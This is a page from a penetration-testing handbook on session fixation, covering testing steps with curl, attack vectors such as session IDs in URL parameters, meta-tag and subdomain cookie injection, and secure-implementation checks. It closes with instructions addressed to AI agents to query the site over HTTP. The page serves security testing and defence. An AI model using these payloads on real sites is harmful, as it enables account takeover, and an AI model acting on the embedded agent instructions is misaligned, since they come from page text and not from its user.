# Session fixation

Session fixation attacks force a user to use a session ID known to the attacker, enabling account takeover after the victim authenticates.

## How It Works

1. Attacker obtains a valid session ID from the target site
2. Attacker tricks victim into using that session ID
3. Victim authenticates with the fixed session
4. Attacker uses the same session ID to access victim's account

## Testing Methodology

### Basic Test

```
1. Open target.com/login (Attacker browser)
2. Note the SESSION cookie value: abc123
3. Open target.com/login in incognito (Victim simulation)
4. Set cookie to attacker's value: abc123
5. Login as victim in incognito tab
6. Refresh attacker's browser
7. If logged in as victim → VULNERABLE
```

### Check if Session Changes on Login

```bash
# Get pre-auth session
curl -c cookies.txt https://target.com/login

# Check cookie value
cat cookies.txt

# Login and check if session changed
curl -b cookies.txt -c cookies2.txt -X POST \
  -d "user=test&pass=test" https://target.com/login

# Compare sessions
diff cookies.txt cookies2.txt
# If same → VULNERABLE
```

## Attack Vectors

### Via URL Parameter

```
# Some apps accept session in URL
https://target.com/login?PHPSESSID=attacker_session
https://target.com/login?JSESSIONID=attacker_session
https://target.com/login;jsessionid=attacker_session

# Send to victim, they login, attacker uses same session
```

### Via Meta Tag Injection

```html
<!-- If XSS or HTML injection exists -->
<meta http-equiv="Set-Cookie" content="session=attacker_session">
```

### Via Subdomain Cookie

```
# If attacker controls subdomain (e.g., user content)
# Set cookie from evil.target.com for .target.com
document.cookie = "session=attacker_session; domain=.target.com"
```

### Via Cross-Site Cooking

```html
<!-- On attacker's site, if target has weak cookie scope -->
<img src="https://target.com/page?session=attacker_session">
```

## Indicators of Vulnerability

| Indicator                            | Status         |
| ------------------------------------ | -------------- |
| Session ID unchanged after login     | ❌ Vulnerable   |
| Session accepted via URL parameter   | ❌ Vulnerable   |
| No `HttpOnly` flag on session cookie | ⚠️ Risk factor |
| Session cookie domain too broad      | ⚠️ Risk factor |
| Long session timeout                 | ⚠️ Risk factor |

## Verification Commands

```bash
# Check cookie attributes
curl -v -c - https://target.com/login 2>&1 | grep -i "set-cookie"

# Look for:
# - HttpOnly flag (mitigates but doesn't prevent)
# - Secure flag
# - SameSite attribute
# - Domain scope
```

## Secure Implementation (What to Look For)

```
✓ Generate new session ID after authentication
✓ Invalidate old session on login
✓ Use HttpOnly and Secure flags
✓ Implement SameSite=Strict or Lax
✓ Reject session IDs from URL parameters
✓ Short session timeouts
```

## Related Topics

* [XSS](/enumeration/web/xss.md) - Can be used to set cookies
* [CSRF](/enumeration/web/csrf.md) - Related session attacks
* [Authentication Bypass](/enumeration/web/bruteforcing.md)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentest-book.com/enumeration/web/session-fixation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.